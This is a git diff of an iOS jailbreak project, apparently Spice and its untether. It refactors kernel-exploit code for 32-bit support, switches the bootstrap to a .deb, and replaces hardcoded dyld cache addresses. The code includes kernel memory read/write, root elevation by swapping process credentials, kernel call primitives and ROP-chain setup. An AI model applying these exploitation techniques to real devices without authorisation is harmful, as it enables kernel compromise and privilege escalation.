diff --git a/Makefile b/Makefile index 8b25578..5ff28bf 100644 --- a/Makefile +++ b/Makefile @@ -25,7 +25,7 @@ endif UNTETHER = lib$(TARGET_CLI).dylib TRAMP = trampoline ICONS := $(wildcard $(RES)/Icon-*.png) -FILES := $(TARGET_GUI) Info.plist Base.lproj/LaunchScreen.storyboardc $(ICONS:$(RES)/%=%) Unrestrict.dylib bootstrap.tar.lzma jailbreak-resources.deb mobilesubstrate.deb +FILES := $(TARGET_GUI) Info.plist Base.lproj/LaunchScreen.storyboardc $(ICONS:$(RES)/%=%) Unrestrict.dylib bootstrap.deb jailbreak-resources.deb mobilesubstrate.deb SDK_FILE := src/untether/sdk.txt SDK_RESULT := $(shell cat ${SDK_FILE}) @@ -75,9 +75,9 @@ $(APP)/Unrestrict.dylib: echo Copying file to $@ cp $(RES)/Unrestrict.dylib $@ -$(APP)/bootstrap.tar.lzma: +$(APP)/bootstrap.deb: echo Copying file to $@ - cp $(RES)/bootstrap.tar.lzma $@ + cp $(RES)/spicebootstrap_1.0_iphoneos-arm.deb $@ $(APP)/jailbreak-resources.deb: echo Copying file to $@ diff --git a/res/bootstrap.tar.lzma b/res/spicebootstrap_1.0_iphoneos-arm.deb similarity index 60% rename from res/bootstrap.tar.lzma rename to res/spicebootstrap_1.0_iphoneos-arm.deb index 702f078..dbd01a8 100644 Binary files a/res/bootstrap.tar.lzma and b/res/spicebootstrap_1.0_iphoneos-arm.deb differ diff --git a/src/shared/jailbreak.m b/src/shared/jailbreak.m index e348f64..2a03a09 100644 --- a/src/shared/jailbreak.m +++ b/src/shared/jailbreak.m @@ -74,6 +74,13 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N sendLog(controller, [NSString stringWithFormat:@__VA_ARGS__]); \ LOG(__VA_ARGS__); \ } while (0) +#ifdef __LP64__ +#define PWN_LOG_KPTR(...) PWN_LOG("%s %llx\n", __VA_ARGS__) +#define FORMAT_KERNEL @"0x%016llx" +#else +#define PWN_LOG_KPTR(...) PWN_LOG("%s %x\n", __VA_ARGS__) +#define FORMAT_KERNEL @"0x%08x" +#endif #define updateStage(stage) PWN_LOG("Jailbreaking... (%d/21)", stage) if (opt & JBOPT_POST_ONLY) { @@ -83,7 +90,7 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N mach_msg_type_number_t cnt = TASK_DYLD_INFO_COUNT; ASSERT_RET(out, "task_info", task_info(kernel_task, TASK_DYLD_INFO, (task_info_t)&info, &cnt)); kbase = info.all_image_info_addr; - PWN_LOG("kbase %llx\n", kbase); + PWN_LOG_KPTR("kbase", kbase); } else { // suspend_all_threads(); @@ -98,7 +105,7 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N } kernel_slide = kbase - offs.constant.kernel_image_base; - PWN_LOG("kslide %llx\n", kernel_slide); + PWN_LOG_KPTR("kslide", kernel_slide); if (!MACH_PORT_VALID(kernel_task)) { PWN_LOG("invalid kernel task"); @@ -110,7 +117,7 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N kernproc = rk64(offs.data.kern_proc + kernel_slide); VAL_CHECK(kernproc); - PWN_LOG("kernproc: %llx\n", kernproc); + PWN_LOG_KPTR("kernproc:", kernproc); MACH(elevate_to_root()); updateStage(15); @@ -239,45 +246,45 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N } } - { - if ((opt & JBOPT_POST_ONLY) == 0) { - BOOL attemptFlag = NO; - if (access("/.spice_bootstrap_installed", F_OK) != 0) { - extract_bootstrap: - COPY_RESOURCE("bootstrap.tar.lzma", "/jb/bootstrap.tar.lzma"); - - if (access("/jb/bootstrap.tar.lzma", F_OK) != 0) { - PWN_LOG("failed to find the bootstrap file"); - ret = KERN_FAILURE; - goto out; - } + BOOL attemptFlag = NO; + BOOL extractResult = YES; - PWN_LOG("extracting bootstrap..."); - - ArchiveFile* tar = [ArchiveFile archiveWithFile:@"/jb/bootstrap.tar.lzma"]; - BOOL extractResult = [tar extractToPath:@"/"]; +#define FIND_FAIL(path) \ + do { \ + if (access(path, F_OK) != 0) { \ + PWN_LOG("Failed to find" path); \ + ret = KERN_FAILURE; \ + goto out; \ + } \ + } while (0) - if (!extractResult) { - PWN_LOG("failed to extract bootstrap!"); - ret = KERN_FAILURE; - goto out; - } +#define EXTRACT_FAIL(path) \ + do { \ + if (!extractResult) { \ + PWN_LOG("Failed to extract" path); \ + ret = KERN_FAILURE; \ + goto out; \ + } \ + } while (0) - COPY_RESOURCE("jailbreak-resources.deb", "/jb/jailbreak-resources.deb"); +#define EXTRACT_DEB(path) \ + do { \ + FIND_FAIL(path); \ + PWN_LOG("Extracting " path); \ + extractResult = extractDeb(@path); \ + EXTRACT_FAIL(path); \ + } while (0) - if (access("/jb/jailbreak-resources.deb", F_OK) != 0) { - PWN_LOG("failed to find jailbreak-resources.deb"); - ret = KERN_FAILURE; - goto out; - } + { + if ((opt & JBOPT_POST_ONLY) == 0) { - extractResult = extractDeb(@"/jb/jailbreak-resources.deb"); + if (access("/.spice_bootstrap_installed", F_OK) != 0) { + extract_bootstrap: + COPY_RESOURCE("bootstrap.deb", "/jb/bootstrap.deb"); + EXTRACT_DEB("/jb/bootstrap.deb"); - if (!extractResult) { - PWN_LOG("failed to extract jailbreak-resources.deb!"); - ret = KERN_FAILURE; - goto out; - } + COPY_RESOURCE("jailbreak-resources.deb", "/jb/jailbreak-resources.deb"); + EXTRACT_DEB("/jb/jailbreak-resources.deb"); // Substrate is not in the bootstrap, so let's just install it if (access("/usr/lib/libsubstitute.dylib", F_OK) == 0) { @@ -289,21 +296,7 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N PWN_LOG("substrate was not found. installing it..."); COPY_RESOURCE("mobilesubstrate.deb", "/jb/mobilesubstrate.deb"); - - if (access("/jb/mobilesubstrate.deb", F_OK) != 0) { - PWN_LOG("tried to install substrate but failed to copy it!"); - ret = KERN_FAILURE; - goto out; - } - - BOOL extractResult = extractDeb(@"/jb/mobilesubstrate.deb"); - - if (!extractResult) { - PWN_LOG("attempted to install substrate but failed to extract it!"); - ret = KERN_FAILURE; - goto out; - } - + EXTRACT_DEB("/jb/mobilesubstrate.deb"); PWN_LOG("finished installing substrate"); } @@ -420,15 +413,15 @@ kern_return_t jailbreak(uint32_t opt, void* controller, void (*sendLog)(void*, N dict = [[NSMutableDictionary alloc] init]; } - dict[@"AddRetGadget"] = [NSString stringWithFormat:@"0x%016llx", offs.gadgets.add_x0_x0_ret + kernel_slide]; - dict[@"KernProc"] = [NSString stringWithFormat:@"0x%016llx", offs.data.kern_proc + kernel_slide]; - dict[@"OSBooleanTrue"] = [NSString stringWithFormat:@"0x%016llx", rk64(rk64(offs.data.osboolean_true + kernel_slide))]; - dict[@"OSBooleanFalse"] = [NSString stringWithFormat:@"0x%016llx", rk64(rk64(offs.data.osboolean_true + 0x8 + kernel_slide))]; - dict[@"OSUnserializeXML"] = [NSString stringWithFormat:@"0x%016llx", offs.funcs.osunserializexml + kernel_slide]; - dict[@"ProcFind"] = [NSString stringWithFormat:@"0x%016llx", offs.funcs.proc_find + kernel_slide]; - dict[@"ProcRele"] = [NSString stringWithFormat:@"0x%016llx", offs.funcs.proc_rele + kernel_slide]; - dict[@"Smalloc"] = [NSString stringWithFormat:@"0x%016llx", offs.funcs.smalloc + kernel_slide]; - dict[@"ZoneMapOffset"] = [NSString stringWithFormat:@"0x%016llx", offs.data.zone_map + kernel_slide]; + dict[@"AddRetGadget"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.gadgets.add_x0_x0_ret + kernel_slide]; + dict[@"KernProc"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.data.kern_proc + kernel_slide]; + dict[@"OSBooleanTrue"] = [NSString stringWithFormat:FORMAT_KERNEL, (kptr_t)rk64(rk64(offs.data.osboolean_true + kernel_slide))]; + dict[@"OSBooleanFalse"] = [NSString stringWithFormat:FORMAT_KERNEL, (kptr_t)rk64(rk64(offs.data.osboolean_true + 0x8 + kernel_slide))]; + dict[@"OSUnserializeXML"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.funcs.osunserializexml + kernel_slide]; + dict[@"ProcFind"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.funcs.proc_find + kernel_slide]; + dict[@"ProcRele"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.funcs.proc_rele + kernel_slide]; + dict[@"Smalloc"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.funcs.smalloc + kernel_slide]; + dict[@"ZoneMapOffset"] = [NSString stringWithFormat:FORMAT_KERNEL, offs.data.zone_map + kernel_slide]; [dict writeToFile:@"/jb/offsets.plist" atomically:YES]; PWN_LOG("wrote offsets.plist"); diff --git a/src/shared/kcall.m b/src/shared/kcall.m index 915f6e8..21ec1bb 100644 --- a/src/shared/kcall.m +++ b/src/shared/kcall.m @@ -19,6 +19,12 @@ static kmap_hdr_t zm_hdr; const int fake_kalloc_size = 0x1000; +#ifdef __LP64__ +#define LOG_KPTR(...) LOG("%s %llx\n", __VA_ARGS__) +#else +#define LOG_KPTR(...) LOG("%s %x\n", __VA_ARGS__) +#endif + mach_port_t prepare_user_client() { kern_return_t ret = KERN_SUCCESS; @@ -94,15 +100,15 @@ kern_return_t init_kexecute(kptr_t zone_map, kptr_t add_ret_gadget) // resolve zone map to set up zm_fix_addr kptr_t zone_map_addr = rk64(zone_map + kernel_slide); if (zone_map_addr == 0x0) { - LOG("wtf, failed to find zone map addr @ offset %llx", zone_map + kernel_slide); + LOG_KPTR("wtf, failed to find zone map addr @ offset", zone_map + kernel_slide); return KERN_FAILURE; } kread(zone_map_addr + 0x10, (void*)&zm_hdr, sizeof(zm_hdr)); - LOG("zone map start: %llx\n", zm_hdr.start); - LOG("zone map end: %llx\n", zm_hdr.end); - LOG("zone map size: %llx\n", zm_hdr.end - zm_hdr.start); + LOG_KPTR("zone map start:", zm_hdr.start); + LOG_KPTR("zone map end:", zm_hdr.end); + LOG_KPTR("zone map size:", zm_hdr.end - zm_hdr.start); return KERN_SUCCESS; } @@ -125,7 +131,11 @@ void term_kexecute() kptr_t kexecute(kptr_t addr, int n_args, ...) { if (fake_client == 0x0) { +#ifdef __LP64__ LOG("tried to kexecute on %llx with %d args when kexecute is not yet set up", addr, n_args); +#else + LOG("tried to kexecute on %x with %d args when kexecute is not yet set up", addr, n_args); +#endif return -1; } diff --git a/src/shared/pwn.m b/src/shared/pwn.m index 176108f..410aed5 100644 --- a/src/shared/pwn.m +++ b/src/shared/pwn.m @@ -51,7 +51,7 @@ } mach_msg_data_buffer_t; kern_return_t (^kcall)(uint64_t, int, ...); -uint64_t (^zonemap_fix_addr)(uint64_t); +kptr_t (^zonemap_fix_addr)(kptr_t); void (^kreadbuf)(uint64_t, void*, size_t); void (^kwritebuf)(uint64_t, void*, size_t); @@ -311,6 +311,11 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t* tfp0, kptr_t* kbase, void* c sendLog(controller, [NSString stringWithFormat:@__VA_ARGS__]); \ LOG(__VA_ARGS__); \ } while (0) +#ifdef __LP64__ +#define PWN_LOG_KPTR(...) PWN_LOG("%s %llx", __VA_ARGS__) +#else +#define PWN_LOG_KPTR(...) PWN_LOG("%s %x", __VA_ARGS__) +#endif #define updateStage(stage) PWN_LOG("Jailbreaking... (%d/21)", stage) updateStage(1); @@ -320,14 +325,18 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t* tfp0, kptr_t* kbase, void* c if (!kdata) goto out; - PWN_LOG("our kdata buffer is at: %llx", kdata); + PWN_LOG_KPTR("our kdata buffer is at:", kdata); // note to friends, family, next of kin, hackers alike: // host_page_size - returns the userland page size, *always* 16K // _host_page_size - MIG call, traps to kernel, returns PAGE_SIZE macro, will return the correct page size vm_size_t pgsize = 0x0; _host_page_size(mach_host_self(), &pgsize); +#ifdef __LP64__ PWN_LOG("page size: 0x%lx", pgsize); +#else + PWN_LOG("page size: 0x%x", pgsize); +#endif io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (service == MACH_PORT_NULL) { @@ -754,11 +763,11 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t* tfp0, kptr_t* kbase, void* c // lck_rw_t = uintptr_t opaque[2] = unsigned long opaque[2] kreadbuf(zone_map_addr + (sizeof(unsigned long) * 2), (void*)&zm_hdr, sizeof(zm_hdr)); - PWN_LOG("zmap start: %llx", zm_hdr.start); - PWN_LOG("zmap end: %llx", zm_hdr.end); + PWN_LOG_KPTR("zmap start:", zm_hdr.start); + PWN_LOG_KPTR("zmap end:", zm_hdr.end); - uint64_t zm_size = zm_hdr.end - zm_hdr.start; - PWN_LOG("zmap size: %llx", zm_size); + kptr_t zm_size = zm_hdr.end - zm_hdr.start; + PWN_LOG_KPTR("zmap size:", zm_size); if (zm_size > 0x100000000) { PWN_LOG("zonemap too large :/"); @@ -766,9 +775,13 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t* tfp0, kptr_t* kbase, void* c goto out; } - zonemap_fix_addr = ^(uint64_t addr) { - uint64_t spelunk = (zm_hdr.start & 0xffffffff00000000) | (addr & 0xffffffff); - return spelunk < zm_hdr.start ? spelunk + 0x100000000 : spelunk; + zonemap_fix_addr = ^(kptr_t addr) { +#ifdef __LP64__ + uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | (addr & 0xffffffff); + return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; +#else + return addr; +#endif }; uint64_t kern_task_addr = kread64(offsets.data.kernel_task + kslide); diff --git a/src/shared/root.m b/src/shared/root.m index f51c5bf..87a59d2 100644 --- a/src/shared/root.m +++ b/src/shared/root.m @@ -7,13 +7,19 @@ bool did_require_elevation = false; uint8_t original_ucred_struct[12]; +#ifdef __LP64__ +#define LOG_KPTR(...) LOG("%s %llx", __VA_ARGS__) +#else +#define LOG_KPTR(...) LOG("%s %x", __VA_ARGS__) +#endif + kern_return_t elevate_to_root() { kptr_t kernproc = find_proc(0); - LOG("got kern proc at %llx", kernproc); + LOG_KPTR("got kern proc at", kernproc); kptr_t ourproc = find_proc(getpid()); - LOG("got ourproc at %llx", ourproc); + LOG_KPTR("got ourproc at", ourproc); kptr_t kern_ucred = rk64(kernproc + 0x100); // proc->p_ucred kptr_t our_ucred = rk64(ourproc + 0x100); // proc->p_ucred @@ -53,7 +59,7 @@ kern_return_t restore_to_mobile() } kptr_t ourproc = find_proc(getpid()); - LOG("got ourproc at %llx", ourproc); + LOG_KPTR("got ourproc at", ourproc); kptr_t our_ucred = rk64(ourproc + 0x100); diff --git a/src/untether/install.m b/src/untether/install.m index 47d5af3..9c9fb4d 100644 --- a/src/untether/install.m +++ b/src/untether/install.m @@ -85,7 +85,7 @@ int install(const char* config_path, const char* racoon_path, const char* dyld_c populate_offsets(lib_offsets, myoffsets); // uses dlsym to get an address of a symbol and then return it's unslid value - uint64_t (^get_addr_from_name)(offset_struct_t*, char*) = ^(offset_struct_t* offsets, char* name) { + void* (^slide_addr)(offsets_t*, char*) = ^(offsets_t* offsets, char* name) { uint64_t sym = (uint64_t)dlsym(RTLD_DEFAULT, name); if (sym == 0) { NSLog(@"symbol (%s) not found", name); @@ -96,29 +96,30 @@ int install(const char* config_path, const char* racoon_path, const char* dyld_c #pragma clang diagnostic ignored "-Wdeprecated-declarations" syscall(294, &cache_addr); // get the current slid cache address #pragma clang diagnostic pop - // unslide the ptr returned by dlsym - sym += 0x180000000; + // slide the ptr returned by dlsym + sym += offsets->constant.new_cache_addr; sym -= cache_addr; - return sym; + return (void*)sym; }; + myoffsets->old_cache_addr = lib_offsets->constant.old_cache_addr; myoffsets->new_cache_addr = lib_offsets->constant.new_cache_addr; // Untested fallback behavior if (lib_offsets->userland_funcs.IOConnectTrap6 == 0) { - lib_offsets->userland_funcs.IOConnectTrap6 = (void*)(get_addr_from_name(myoffsets, "IOConnectTrap6") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_ports_lookup = (void*)(get_addr_from_name(myoffsets, "mach_ports_lookup") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_task_self = (void*)(get_addr_from_name(myoffsets, "mach_task_self") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_port_destroy = (void*)(get_addr_from_name(myoffsets, "mach_port_destroy") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_port_deallocate = (void*)(get_addr_from_name(myoffsets, "mach_port_deallocate") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_port_allocate = (void*)(get_addr_from_name(myoffsets, "mach_port_allocate") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_port_insert_right = (void*)(get_addr_from_name(myoffsets, "mach_port_insert_right") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_ports_register = (void*)(get_addr_from_name(myoffsets, "mach_ports_register") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.mach_msg = (void*)(get_addr_from_name(myoffsets, "mach_msg") - 0x180000000 + myoffsets->new_cache_addr); - lib_offsets->userland_funcs.posix_spawn = (void*)(get_addr_from_name(myoffsets, "posix_spawn") - 0x180000000 + myoffsets->new_cache_addr); + lib_offsets->userland_funcs.IOConnectTrap6 = slide_addr(lib_offsets, "IOConnectTrap6"); + lib_offsets->userland_funcs.mach_ports_lookup = slide_addr(lib_offsets, "mach_ports_lookup"); + lib_offsets->userland_funcs.mach_task_self = slide_addr(lib_offsets, "mach_task_self"); + lib_offsets->userland_funcs.mach_port_destroy = slide_addr(lib_offsets, "mach_port_destroy"); + lib_offsets->userland_funcs.mach_port_deallocate = slide_addr(lib_offsets, "mach_port_deallocate"); + lib_offsets->userland_funcs.mach_port_allocate = slide_addr(lib_offsets, "mach_port_allocate"); + lib_offsets->userland_funcs.mach_port_insert_right = slide_addr(lib_offsets, "mach_port_insert_right"); + lib_offsets->userland_funcs.mach_ports_register = slide_addr(lib_offsets, "mach_ports_register"); + lib_offsets->userland_funcs.mach_msg = slide_addr(lib_offsets, "mach_msg"); + lib_offsets->userland_funcs.posix_spawn = slide_addr(lib_offsets, "posix_spawn"); } if (lib_offsets->userland_funcs.mach_vm_remap == 0) { - lib_offsets->userland_funcs.mach_vm_remap = (void*)(get_addr_from_name(myoffsets, "_mach_vm_remap") - 0x180000000 + myoffsets->new_cache_addr); + lib_offsets->userland_funcs.mach_vm_remap = slide_addr(lib_offsets, "_mach_vm_remap"); } myoffsets->BEAST_GADGET_LOADER = myoffsets->BEAST_GADGET + 4 * 9; diff --git a/src/untether/offsets.h b/src/untether/offsets.h index a0c8135..273d32e 100644 --- a/src/untether/offsets.h +++ b/src/untether/offsets.h @@ -13,6 +13,7 @@ struct offset_struct { uint64_t memmove; // address of the memmove pointer we smash in the dyld cache data uint64_t lcconf_counter_offset; // offset of counter in the lcconf struct uint64_t cache_text_seg_size; // size of the dyld cache text segment + uint64_t old_cache_addr; uint64_t new_cache_addr; // the new text address of the cache // framework (for stage 2) uint64_t BEAST_GADGET; // siguzas gadget (see rop.h) diff --git a/src/untether/stage2.m b/src/untether/stage2.m index aaafb10..19c8501 100644 --- a/src/untether/stage2.m +++ b/src/untether/stage2.m @@ -300,7 +300,7 @@ uint64_t get_addr_from_name(offset_struct_t* offsets, char* name) syscall(294, &cache_addr); // get the current slid cache address #pragma clang diagnostic pop // unslide the ptr returned by dlsym - sym += 0x180000000; + sym += offsets->old_cache_addr; sym -= cache_addr; return sym; } @@ -351,7 +351,7 @@ void build_chain_DBG(offset_struct_t* offsets, rop_var_t* ropvars) buf = next->value; // we add and then we subtract otherwise it could underflow buf += offsets->new_cache_addr; - buf -= 0x180000000; + buf -= offsets->old_cache_addr; printf("0x%.8llx: ", current_addr); printf("0x%.8llx (code address org:%llx) ", buf, next->value); if (next->value == offsets->BEAST_GADGET) { @@ -1002,7 +1002,7 @@ void stage2(jake_img_t kernel_symbols, offset_struct_t* offsets, offsets_t* lib_ DEFINE_ROP_VAR("racer_kernel_thread", sizeof(thread_act_t), tmp); _STRUCT_ARM_THREAD_STATE64* new_thread_state = malloc(sizeof(_STRUCT_ARM_THREAD_STATE64)); memset(new_thread_state, 0, sizeof(_STRUCT_ARM_THREAD_STATE64)); - new_thread_state->__pc = offsets->longjmp - 0x180000000 + offsets->new_cache_addr; /*slide it here*/ // we will point pc to longjump so that we can get into rop again easily + new_thread_state->__pc = offsets->longjmp - offsets->old_cache_addr + offsets->new_cache_addr; /*slide it here*/ // we will point pc to longjump so that we can get into rop again easily new_thread_state->__x[0] = offsets->stage2_base + offsets->stage2_max_size + offsets->stage2_barrier_buffer_size /*x0 should point to the longjmp buf*/; // this means we can easily just use a longjump buf at the front of the thread to control all regs DEFINE_ROP_VAR("thread_state", sizeof(_STRUCT_ARM_THREAD_STATE64), new_thread_state) ROP_VAR_ARG_HOW_MANY(3); diff --git a/src/untether/stage3.m b/src/untether/stage3.m index ddacd21..01e6f6e 100644 --- a/src/untether/stage3.m +++ b/src/untether/stage3.m @@ -16,7 +16,11 @@ // this is basically the version of the exploit used in the app (minus the race part obv) just copy pasted into here and then I changed a few things so that it doesn't rely on cache functions // so for a more readable version/to understand it please check the version under shared (pwn.m) +#ifdef __LP64__ typedef uint64_t kptr_t; +#else +typedef uint32_t kptr_t; +#endif typedef int kern_return_t; typedef uint32_t mach_port_t; typedef mach_port_t* mach_port_array_t; @@ -28,10 +32,10 @@ typedef mach_port_t task_t; typedef mach_port_t vm_map_t; typedef uint64_t mach_vm_size_t; -typedef uint64_t mach_msg_timeout_t; -typedef uint64_t mach_msg_size_t; +typedef uint32_t mach_msg_timeout_t; +typedef uint32_t mach_msg_size_t; typedef uint32_t mach_msg_option_t; -typedef uint64_t mach_msg_return_t; +typedef kern_return_t mach_msg_return_t; typedef uint64_t mach_vm_offset_t; typedef uint32_t mach_port_right_t; typedef bool boolean_t; @@ -121,6 +125,7 @@ void write(int fd, char* cbuf, int nbyte) { +#ifdef __LP64__ // an an input it's a file descriptor set to STD_ERR 2 // as an output this will be used for returning syscall return value; register int x0 __asm__("x0") = fd; @@ -142,6 +147,29 @@ __asm__ volatile( // all args prepared, make the syscall "memory", // inform the compiler we clobber carry flag (during the syscall itself) "cc"); +#else + // an an input it's a file descriptor set to STD_ERR 2 + // as an output this will be used for returning syscall return value; + register int r0 __asm__("r0") = fd; + // as an input string to write + // as an output this will be used for returning syscall return value higher half (in this particular case 0) + register char* r1 __asm__("r1") = cbuf; + // string length + register int r2 __asm__("r2") = nbyte; + // syscall write is 4 + register int r12 __asm__("r12") = SYS_write; // user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); + + // full variant using stack local variables for register x0,x1,x2,x16 input + // syscall result collected in x0 & x1 using "semi" intrinsic assembler + __asm__ volatile( // all args prepared, make the syscall + "swi 0x80" + : "=r"(r0), "=r"(r1) // mark x0 & x1 as syscall outputs + : "r"(r0), "r"(r1), "r"(r2), "r"(r12) : // mark the inputs + // inform the compiler we read the memory + "memory", + // inform the compiler we clobber carry flag (during the syscall itself) + "cc"); +#endif } #define STD_OUT 1 @@ -632,10 +660,17 @@ void where_it_all_starts(kport_t* fakeport, void* fake_client, uint64_t ip_kobje // while (1) {} // exit call +#ifdef __LP64__ __asm__( "movz x0, 0x0\n" // return 0 "movz x16, 0x1\n" // void exit(int rval) "svc 0x80"); +#else + __asm__( + "mov r0, #0x0\n" // return 0 + "mov r12, #0x1\n" // void exit(int rval) + "swi 0x80"); +#endif } // kinda messy function signature